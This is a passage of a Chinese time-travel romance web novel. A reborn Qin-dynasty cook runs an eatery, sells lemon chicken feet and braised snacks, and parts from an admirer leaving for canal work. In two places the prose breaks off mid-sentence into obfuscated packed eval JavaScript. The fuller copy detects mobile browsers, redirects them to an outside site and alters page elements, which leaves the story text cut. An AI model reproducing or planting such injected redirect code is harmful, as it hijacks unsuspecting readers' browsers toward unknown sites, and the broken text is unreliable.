阿娘喜不自胜：“阿卉就是心细，你说得对，鸡肉稍不注意就容易烤老，吃到嘴里就容易晒牙缝，还是自家养的鱼好，你说是吧，阿幸？” 鱼是从自家水田里捉上来的稻花鱼。之前那一批已经分批卖给了县学宫，但鱼有水就能活啊，所以又买了些放进去。 每日就十条的量，阿娘今日吃了一条，便只剩下九位客人有这个口福了。 公子幸却一直盯着李卉手上的动作，他知道鱼烤好后，剩下碳炉子上的三串柳枝烤肉便都是他的了。 所以他并没有立即回答，而是一眼不错地盯着李卉把柳枝上的肉来回翻面，一会儿刷油一会儿蘸酱，处理好了就装在陶盘里递给他： “公子幸尝尝，这是本肆的招牌，用的都是当天最新鲜的鸡肉，食材绝不过夜。” 公子幸听到那“最新鲜”三字时，莫名觉得是在点今日不守时的他，但迎上来的目光却是温柔的，包含了笑意和期待的，他这才接过来，在一旁食案上细细品尝。 阿娘坐在他对面，目光殷殷地等他的评价。 “鸡肉的香味里混进了柳树枝的清香，果真好吃。” 阿娘一脸“我就知道”的自豪。 又听面前人道：“我还想再点条鱼，再尝尝烤鱼的味道。” 阿娘面前的盘子里只剩下一副完整的鱼骨，“那行，我也就再尝尝烤肉。” 并还一直叮嘱李卉要把肉先煮了再烤，类似于回锅，这样倒是不柴了，只是少了几分炙烤的风味，而这对阿娘来说倒是无所谓嘛。 “阿爹，我想吃烧烤。” 未等第二波烤鱼和烤肉上桌，食肆便来了生意。是一个壮年父亲领着一个馋嘴小儿。 那小儿站在食肆外的小吃摊边，指着用陶盘码得整整齐齐的素菜专区，口水都要留下来。 “小阿郎想吃些什么？小摊车旁有盘子，选好了便可拿进来哈。” 小摊车现在专门用来陈列食材，就跟前世那些麻辣串串香店铺一样，供食客们自由选择。 而今日的这些食材全都是公子幸帮着摆的，毕竟吃人嘴短，拿人手软嘛。 李卉见那壮年阿爹，身上补丁重补丁，却十分爽快地掏出来五个钱： “好，今日是你的生辰，你想吃什么便点吧。” 话音刚落，眼睛的余光就往食肆门口小木牌上的价格表上瞟。 估摸是看到了“柳枝烤肉一串六钱”等觉得囊中羞涩，却也来不及阻止他的孩子： “阿爹，我们拼几个菜吃吧，苦菜，菘菜，还有葵菜和韭菜……” 李卉在往火里加木炭，店里食客少，他们的对话很难不被听到。 “傻儿郎，你过生辰还吃什么苦菜”，第三张食案上便搁下了五钱，“这样吧，除了苦菜，你刚才说到的另外三个都拼一起，咱们尝尝看！” 这是李卉从前世学来的“素菜单点和双拼，三拼，全拼”的点菜模式，这本就是为囊中羞涩却又想进店消费的人，一种降低消费门槛的事情。 素菜单点两钱一串，双拼再加一钱，三拼再加，全拼再加，拢共五钱封顶。 那位小孩子是个懂事的，知道自己家里的这个情况，便只想吃素，而那位父亲也很爱自己的孩子，便提出难得地“大方”一回，要将五钱花掉四钱，估计最后剩的一钱，是拿去坐牛车的吧。 毕竟是生辰，还是不要徒脚走回去啊。 开门迎客，与人方便时，自己也方便。 李卉便特意给那小孩烤了一串柳枝烤肉，并告诉他，这是本店送给他的生辰贺礼。 小儿十分激动，那父亲也一把拽起他来，要给李卉作揖道谢。 “只要生辰都会额外送一串烤肉吗？”小儿道。 “是的”，尽管之前并没有这项预算，但李卉不忍拒绝。 “那太好了！”小儿近乎雀跃，“十日后便是阿爹生辰，到时我们再来，可还作数？” “嗯。作数。” 真是一对为彼此着想和考虑的父子啊。 “我家阿卉啊，就是这般善解人意。”阿娘见李卉的行事越发稳重，便更加放心。 “是啊。”而这一幕落在公子幸眼中，则更加觉得李卉的温柔和善意拨动了他的心弦。 因家中还有阿嫂，阿娘便没有久留，但公子幸却没有要走的意思。 夜市上的人越来越多，食肆的生意也越来越好，他怕李卉一人忙不过来，便一直磨磨蹭蹭地吃着手边的烤鱼，还顺道帮忙招徕客人。俨然一副“跑堂小二”的样子。 一开始李卉还难免多想，但后来实在忙不过来，便也默认了。 公子幸见第一回见她没拒绝，便有了第二回，第三回，乃至更多回…… 前者来得更自然，后者也乐见其成，这一来二去的便日换星移不知过了多少时日。 九月时，一家人终于等到了久在前线的大哥寄回来的书信。 信中说王军大捷，他虽然受了些皮外伤，倒也不妨事。 “只是王上正全国征发民力去修河渠，我们作为军士义不容辞，便直接从河东开拔去泾水，如此最早也要明年开春种麦的时候才能回来……” 李卉见那书信后，便再次感叹自己幸好是研究秦汉史的，那一行行字才没能难住她。 却见阿嫂穿肉串的手顿了好久，才喃喃道：“那便不能在小福娃出生时赶回来了……” 言语中是道不尽的遗憾和惆怅。 哦对，阿嫂因此前司农监送的那一篮鸡蛋而将自己未出生的孩儿取了小名：福娃。 不过，估计阿嫂心中正想的是—— 还说叫福娃，却是个没福气的，出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“谁叫司农监的麦粉最多，做出来的豆汤麦饭也最好吃呢？” 真实的原因她没说，因为有一次馋嘴荇娘想吃她在家中做过的豆汤麦饭，她煮的多了些，恰逢加了班的司农监大人过来找吃的，李卉便壮起胆子给他推荐了这个，结果那日司农监大人吃了两海碗。 如今将这道方子献出，也有对那一百钱的“添盆之喜”的报答嘛。 “从你让我阿嫂帮你看铺子那日，我便知道，这一日迟早是要来的……” 荇娘哭得说话抽抽搭搭，李卉又是逗又是哄， “等我食肆做起来了，你便再来，我们就都还在一处嘛。” 临娘本来都被惹得红了眼圈，又被她看似玩笑的当面挖墙脚，逗得笑出了声。 “好了好了，荇娘，咱们往后想阿卉的时候，可以结伴同去长宁街嘛。” “是了是了，食肆生意，还望诸君多多光顾。” 道了这句，李卉便彻底和身后的司农监划清了关系。 衙署的门既厚又重，她往后看了好一会儿，好似又看到了几个月前鼓起勇气踏进这扇大门的那个阿卉，如今，她便要大步流星地，去经营自己的食肆和生活了。 未来一定会越来越好的。 32.柠檬鸡爪 只是她没立刻回家，而是边走边盘算，那九百钱的分配。 不过也没怎么思索，便决定按照原来的来。 “阿嫂三百钱，阿娘也三百钱……”剩给自己的也就是三百钱了。 不过她不后悔，阿嫂情况特殊，大哥又不在家，需要钱来稳定心神；阿娘那一份便是日常说好的孝敬，原是应该的。 她这一趟是要去长平街的市集。 她不是一毛不拔的个性，而且每次领了薪水，都习惯了要买点东西回去。 这一次，除了应季的一些瓜果外，她主要是去买鸡爪的。 九月的西山里，阿爹去打猎时，捡了一些柠檬果回来。本来她想复刻某雪王的镇店之宝，可九月底的天气还是有些凉了，怕销路不好，食肆小本经营，试错成本低，所以才想到用柠檬果来做无骨鸡爪。 这样，无论是空口吃，还是下酒喝，味道都不错。 可家里只有八只鸡，全宰了也不够做一顿的。 况且还要留着给阿嫂补身体呢，自打大哥再次出门，李卉又一次动员阿嫂搬过来和她们一起住，这样也方便照顾，毕竟都六个月了，绝不能让她独自呆着。 可到市集上一看，活鸡活鸭的不少，鸡脚鸭脚单独卖的却少之又少。 一听她说只要鸡爪子，那些店主摊贩像看西洋景似的看她： “一整个鸡腿啃起多带劲呐，鸡脚撑死了只有皮包骨，还塞牙呢！” 都是劝她买整只的，她都准备要回去时，衣裙却被一个小儿郎拉住了： “阿姐可是只要鸡脚？我家有的！” 见她不信，那小孩儿再三做保：“真的有！你跟我来！” 李卉推辞不过，只好任由他拉着，到了市集东北角的一个摊位前。 之前自己的小吃摊在西南角，这一趟走了整整一条对角线，着实有点远呢。 “阿爹，你看，我带谁来了？” 这还遇到了一个熟人？不过听这小孩的声音倒是在哪儿听过似的。 等小孩的阿爹看向自己，李卉才发现，是那日到店中点了素菜全拼的父子俩。 真是天涯何处不相逢啊！ 李卉道，“这都十几日过去了，怎么没见您过来找我兑换生辰烤串？” 她依稀记得，那日小孩儿临走之前说的那句，等他阿爹生辰时就再过来的。 “嗨呀，您还记着呢？不过是小孩子的一句玩笑话罢了……” 小孩爹一看就是个憨厚老实的，所以才在这闷声干着帮人杀鸡宰鸭刮兔子的活。 李卉承认当时是为了招徕顾客，当然更重要的是不想寒了小儿郎的心，所以才会把肉串送出去，可大人熟知这个世界的游戏规则，知道哪些是侥幸，哪些是应得，所以才有此语。 “都说民以食为天，本店向来童叟无欺。往后您来店里，我再给您补上。” 这句话就像给旁边的小孩儿吃了一粒定心丸，他喜笑颜开地道： “阿爹，您瞧，我就说阿卉姐姐说话算话吧！” 那人轻轻地点了点头，心中十分感激，“等忙过了这一阵子，我就去。” 天气渐渐转凉，到了秋高气爽的时节，办各类宴请的多了，铺子上就忙。 “不过，刚才阿侪说你要买什么？” 哦，原来他叫阿侪。他口齿十分伶俐，只说了一句： “阿爹，咱们家的鸡爪拢共有多少？反正也攒着也是攒着，你拿回去煮得也不好吃，还有股脚气味儿，依我看，就全给了阿卉姐姐吧！” 阿侪想着不日后的那串柳枝烤肉，嘴皮子翻得比划船的桨还快。 “行呢，小娘子做食肆的，说不定这些鸡爪到你手里，还能成为一道名菜！” 阿侪爹见李卉是铁了心要的，虽不知她买了鸡爪来做什么，但总有她的道理，便如此说。 那些刚从鸡鸭身上宰下来的爪子们整齐地码放到一堆，透着血腥气的新鲜。 煮熟后过了凉水，再码上酱，浸在柠檬片中一两个时辰，入了味，不知多好吃。 想着想着李卉便吞了口口水，但以她的个性，是断然不会吃白食的。 虽然阿侪跟她说，“我爹别的爱好没有，只爱喝口小酒，佐酒的菜便是这些。” 那阿侪爹趁着这会儿人不多，便手脚麻利地帮她把鸡爪们装起来，还提醒她背篓下面要垫些干草，这样血水才不会浸到身上。 一共六斤多点，因没有明码标价，阿侪爹本就没打算收钱，见她执意如此，便松了口，让她按照一斤四钱的价格算，给了阿侪爹二十五钱。看着数量有些少，其实不少了，市集还没关，都已经积攒了六斤呢。 阿侪爹怎么也想不到他零零散散攒的这些上不得台面的下酒菜，有一天也会卖成钱，还是他的阿侪“残嘴”引来的贵人。 做完这些，阿侪爹道：“如若小娘子今后还需要，我便都给你留着。” “行啊”，李卉道，“不过今日不成，我得先回去做出来放食肆里卖，若能做得好吃，便等你们空了到食肆来，我们再说后续的。可好？” 阿侪爹和阿侪也十分同意。那阿侪到底是小孩子心性： “阿卉姐姐做的鸡爪菜，一定跟柳枝烤肉一样好吃！一准儿大卖！” 那当然好啦。 连着好几日的夜市上，食肆跟前的人虽然有，却不如刚开业时候多了。 “得推陈出新，才能勾住食客们刁钻的舌头。” 继柳枝烤肉和素菜拼盘后，卉娘食肆没几日便又推出了新菜：“柠檬无骨鸡爪”。 这是她在家中用两斤鸡爪，调了无数次柠檬酱汁的比例，才敢上新的。 小摊车上除了那些素菜拼盘，便是两个中型大小的陶盆。 左边是无骨鸡爪，右边是没脱骨的，旁边招牌木架上是“有骨无骨皆好食”。 虽然秦朝普通人识字的不多，但总有那么几个能够认得，这便是一种广告效应。 果然饕餮们对新鲜吃食的追求是几千年来都不变的。 暮色四合，小摊车才推出去没多久，便有闻着味儿的人来登门了。 “将欲取之，必先予之”，作为被前世各种营销“喂到饱”的人，李卉深谙此道。 那些食客们走近了才发现，两种口味的陶盆里，还各嵌了一个小木碗，就是给这些赏味者免费尝鲜的。 一个拿起无骨的，道是“还真是细致，把骨头都帮我们去了……” 说着便“嗷呜”一口，整只鸡脚便都下了肚，“酸爽又有嚼劲，好吃。” 和他一同前来的那位小友则不好这一口，颇为嫌弃：“当街对吃，不雅不雅。” 他则大而化之：“如你觉得不雅，我们买一份，去食肆中堂食如何？” 于是这位仁兄便被拉了进去，“小娘子，有骨无骨都来一份！” “好嘞，客官稍坐，这就来。”李卉麻利地将两种口味分别装了盘，掂了掂，总计有一斤左右。她见他们打了酒来，便就没再问他们要不要买酒喝的话。 吃鸡脚鸭脚就是要下酒，不 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等她发现每日基本上能卖出去的大约斤数后，已过了十日。 “阿卉姐姐，我又来啦！” 话音刚落，阿侪便站在了院中桑树根儿底下摸起小黑的毛发来。 食肆那边虽然能住，但李卉是想等阿嫂生了之后再过去。现在家中多个人自然就能搭把手，总不至于万一有个什么还措手不及。 故而李卉也将家中的地址告诉了阿侪。 “往后你每日便送七斤，哦不，八斤过来吧。记住了哦，这儿便是我家。” 她还顺手拿了个木片，在墙上画了个记号，怕他找不着地方。 阿侪一手拿着个肉夹馍一手拿着钱袋子，几下晃悠着就在巷口没影儿了。 那多出来的一斤，她并不卖，而是专门留给阿嫂当零嘴吃的。 还得有骨无骨各半斤，这样她在家帮着穿肉串的时候，就有了磨嘴儿的。 这是阿嫂近来的新口味，就这么一个阿嫂，就这么一个小福娃，可不得宠着嘛。 其实不光是阿嫂，现在除了阿娘织布时不吃外，阿爹出门下地，都得带上半斤！ “我那几个老伙计都好这一口”，阿爹见天儿就得要上两斤出去，半斤自己吃，剩下的就全进了他那几个老伙计的口里。 自然，带回来的还有三五两钱，李卉自然是不要的，阿爹便全部交给了阿娘存起来，“就当是给我们阿卉攒嫁妆喽！” “哎，要是你大哥能吃到这么好吃的鸡爪子就好了！” 大嫂和大哥真伉俪情深，有口吃的都想着。 前世读过的书都还在她的脑子里，书上讲，始皇帝还觉得百姓在旱灾过后无法各自拿出足够多的粮食去应征，便是采用了“以军制治水，以军粮犒民”的决策，所以就算是去应征的那些百姓们都能吃到军粮，何况大哥本就是大秦的军士呢？ “不打紧不打紧，等修好了水渠，大哥自然就回来了，到时候我不光给他做，还给我们小福娃做，让他俩天天啃！” “千好万好，那也没在家好嘛！”阿嫂怀孕后变得矫情了许多，李卉这个前世看网上恋爱小短剧为主要娱乐消遣的人，知道她这是“悔教夫婿觅封侯”了。 “要捎带点过去就好了……” 我的大嫂啊，李卉心道，这无骨鸡爪，和汤和水的，搁路上也放不住啊！ 33.开发卤菜 不过她还没太能顾得上阿嫂的愿望。 因为公子幸最近事忙，不怎么来帮她了。 忙得晕头转向，总是不按规律吃饭时，李卉便想起有人帮忙的好处来。 “咦，这是怎么回事？” 她慢慢地发现，夜市上来光顾她食肆的，变成了结伴而行的小娘子们，有时候也会有那么几个像阿侪一般大小的娃娃，却很少再能见到青壮年男性。 李卉有点奇怪。 几日后，一道王书再一次粘在了长宁街的正街牌坊底下。 路过时，李卉看了几眼： “……举全国之力修渠，特征召年十五以上男子赴泾水，一应用度皆与军同……” 哦，看来都去泾水挣工资，吃免费的军粮去喽！ 不光吃的免费，届时修完还能再拿工钱，累就累点，也两全其美啊！ “不会他也去了吧？” 李卉手里烤着肉，脑子里便在想，肯定是去了，怎么也不来跟我说一声呢！ 意识到自己的想法有些“危险”，心口便一阵灼热，嘴上竟脱口而出道： “哎呀，我在想些什么？！” “是啊，阿卉在想什么，可否说于我一同听听？” 冷不丁地，喧闹的夜市和食肆中，突然炸出一道熟悉的男子的声音。 是公子幸。真是不禁念叨啊！ 他一身上值时的官服，身量也高，衬得整个人在夜色里很是精神。李卉正想如何回答时，公子幸却放过了她：“快把炉子上的烤肉给我吧，我帮你端过去。” “哦哦，好！给！”李卉忙不迭地递给他，还拿手擦了擦额头。 就这么一来一回，两个人之间的气流终于恢复了正常。 还是忙正事要紧，他们都抛去了心中那点七万八绕的心思，忙活着食客们的嘴。 忙到深夜，李卉连打好几个哈欠，送走了食肆中最后一位客人。 “真好，虽然忙点，但都剩得差不多了，阿幸你要不……” 她本想说“公子幸”，可脱口而出的却是他最喜欢的两个字，公子幸虽然也累，但得了心上人如此亲昵的称呼，便赶紧接过了她的话： “都给我，正好我好些日没吃这鸡爪了，还怪想的！” “嗯……那好吧。” “哦对了”，李卉犹豫着道，“那日的张榜文书看到了吗？” 公子幸点头，“你总算问我了……今日我就是来辞行的。” 听说是“辞行”，她心中“咯噔”一下。 看来她的预感是对的，修水渠是举国大事，他虽是一个小小的市集守卫，可也是吃公粮的一员，被派发出征，是迟早的事。 只是没想到，这一天还是来得比自己预想的更快些。 或许从他不常来自家食肆之时，就已经露了苗头，而她那时偏偏太忙，没顾上。 “这么快……就走吗？”她莫名觉得心里一阵纠葛的疼。 那日大哥也是这样，令到就走，给家人留的作别时间都不够。 公子幸看出来了她情绪的变化，连声音都柔了几分：“不过，倒也没那么快，衙署给我准了两日假，让我回家跟家人辞行。” 家人？然后你就跑到我这里来了？这两个字有点烫嘴啊！ “阿卉你别误会，我先回了趟家，爹娘说你可能需要人手，才让我过来的……” 哦？啊！好吧！ 李卉一连在心中输出了三个感叹词，这才道了谢，然后她突然就把阿嫂的心愿和面前这个人联系了起来，于是她正色道：“多谢公子，我有个不情之请……” 反正都是去同一个地方，或许某一天真能碰上大哥。 那满足一下孕中阿嫂又有何不可呢？ 于是她见时辰已有些晚了，便捡重要的和公子幸说了说： “……总而言之，就是想请你帮忙捎些东西，给大哥带过去……” 公子幸想也没想，就直截了当地说了个“好”字，让她赶紧回去准备。 他出发之前的最后一天时，会亲自到家中来取。 最后的最后，他只是提了个小小的要求： “以后真的见面，就喊我阿幸吧，我俩都这么熟了，以后也不要改口，好不……” “好吧”，这回是逃不掉啦，李卉想，就当是给他一个当“人肉快递”的福利吧！ 接下来的两日里，她便将食肆晚间打烊的时辰提前了些。 因为她要和阿娘一起为大哥准备东西。吃的穿的用的，各自都要带点，当然为了感谢阿幸，给大哥的吃食，也都给他备了一份。 蒸饼、黄糕、豆腐干，还有一人各一只的风干兔腿，这些都是现成的，换句话说也是之前大哥在家时吃过的东西。 阿嫂便又在念叨“无骨鸡爪”的事儿了：“好妹妹，你看能不能想个法子，把这鸡爪给你大哥带点？你想，修河渠的人可是来自大秦各地，咱们不就顺势推销了嘛？” 原来阿嫂真正的想法是这样的。李卉原以为她困于小情小爱，结果还是想的家里头的生意。 “阿嫂也太看得起我了，这点小鸡爪，连安县都没打出名号，敢肖想整个大秦？” 话是实话，但在阿嫂眼中，卉娘的厨艺就是一等一的好，“卉妹年少有为，不过是早晚的事！” 话都说到了这份上，再不表示点，李卉觉得压力更大了，“那要不，我做点卤的鸡爪鸭脚，让阿幸带上？” 既然有汤有水的不好带，那就做点卤货，无论是赶路歇脚还是修渠间隙，都可以当吃零嘴一般，打打牙祭。 阿嫂却揪住她的那声“阿幸”不放：“卉妹，都喊‘阿幸’了啊？” 未等李卉回答，阿嫂又道，“这回他肯帮我们捎带东西，说明他也是个热心快肠的，就跟你一样，两个人嘛，倒也……” “阿嫂你先啃个爪子吧”，阿嫂嘴里话还没说完，李卉就直接塞了个鸡爪到她手里，然后借口说要去买调料，带上门就离了家。 实际上她又到了食肆中。 她趁着食肆刚开，华灯初上的人流稀疏时刻，就自己琢磨着写了张卤味调料的方子，正准备落了锁去药铺抓药。 因为药食同源，方子里好几味都是药材，药铺里一次性买全了也省得下次再跑。 哪知却有那早到的食客，见她要走，便还以为今晚食肆不营业，然后又瞟了一眼写着广告语的木牌——也没说啊！ 食客就是她的衣食父母，见询问的是几个娇俏的小娘子，于是便道：“还请到别处逛逛，今日食肆得晚半个时辰才开门……” “不用了，我替你去吧，你只管做生意……”公子幸迎面走了过来，摊开手就要接她手里的那块木简。 “那……”那几个小娘子倒是个嘴馋的，见了二人这一幕，便出声询问。 “那……诸位今日要吃点什么？里边请吧。”李卉无奈地笑笑，把方子递给了公子幸，又做了个欢迎的手势，准备为今日的第一桌客人烤肉。 公子幸果然很快便回来。 一左一右提了几包，不等她问便说道：“多买了些，想着日后你可能要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15371430|165232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一直用。” 那时候他远在泾水，再想帮忙去买，就有心无力了。 李卉自是知道他的用意，道了谢，又问他可曾吃暮食，要不要再吃一点。 可他见进进出出的客人们，哪里还顾得上吃，“不忙，我家里吃了来的。” 说着便又催她赶快上菜，转身又去招呼新来的客人点菜，俨然半个主家的架势。 可他日常穿得又很朴素，便有食客“小二小二”地喊他。 李卉忙得又顾不上辩解，倒是觉得幸好是在长宁街，不然那些好吃嘴们若是知道，是市集守卫给他们端盘子，不得惊掉下巴呀！ 倒是有过几位之前小吃摊的熟客，只是他们隔三差五才会来，有时候也不怎么碰得到，所以，公子幸愿意这般，李卉也就随他去了。 卤料买了之后，下一步便是赶紧把卤鸡脚做出来。 阿侪每日下午都把隔天要用的量送来，这回她还额外要了些鸡鸭内脏，还把自家的鸡蛋也拿了十个一并丢在咕嘟冒泡的卤水里，半个时辰后捞出来，等再放凉了些，拿进嘴里一尝，觉得味道还不错。 她便把每样一样拿一个，端去了阿娘的院里。 阿嫂也在这里，自打孕后七个多月，肚子越发便便，行动也多有不便，但她又觉得自己闲呆着也是无聊，于是就时常到阿娘院里来，婆媳俩说说话，吃吃茶，日子也过得更快些。 自然，见李卉端来的又是卤味新吃食，阿嫂便直呼端近些，她要吃。 一连嗦了一个鸭掌，一个鸡架，鸡鸭郡肝各一个，还想再吃一个卤蛋的时候，李卉和阿娘异口同声地拒绝了她：“不行，再好吃也不能多吃，会撑的！” 阿嫂却还是眼馋心也馋，却又觉得肚子突然动了一动，忙出声惊呼道：“哎哟——哎哟——福娃你别踢娘……” 见阿嫂如此这般，李卉连出门雇最快的马车去县里最好的医馆里请郎中的想法都有了，最后却幸好也是虚惊一场，阿娘也连连抚着胸口道： “要不阿卉还是将你阿爹喊回来吧？要再有什么，家中没个男子，终是不便……” 前世时，李卉办公室有个大她四五岁的姐姐怀孕，因为是高龄产妇，所以也格外紧张。有一天也和阿嫂一般形状，把她吓到都要打120了，可那个姐姐却说，七八月时有胎动才是正常，让她放心。 于是这一世，她也同样让阿娘放心，道小福娃定是还没吃过卤鸡爪，有些兴奋和激动。果然阿嫂便深以为然：“就是就是，福娃你要吃啥，等着为娘喂你哦！” 李卉只得把装卤货的盘子往阿嫂跟前再放近了一点，“阿嫂慢些吃，别噎着。” 李卉觉得阿嫂到了孕中后期，便越来越像个小孩子。 前几日还让她帮着找个书信娘子来，要她口述对方代笔，写一封给大哥的信呢。 如今见她这样的放松，便知应是自己不在家中时，那娘子必定是来过了。 公子幸启程那天，食肆头一次没有营业。 上一个月食肆营业满月时，李卉自己盘过一笔账，见账上刨去每个月的固定房租，再扣掉一定的原材物料的费用，都还有两千一两百钱的规模，她便知道食肆此后只要不遇灾荒年景，便都能有所盈余。 如今她也松弛了些，不会像刚来时那样，一门心思只想赚钱。 现在她能赚钱了，就想着从长计议，慢慢赚，故而这才想着干脆歇上一日。 可这一切在公子幸眼中，却又咂摸出不一样的味道来。 “你是特意为了送我，连生意也不做吗？”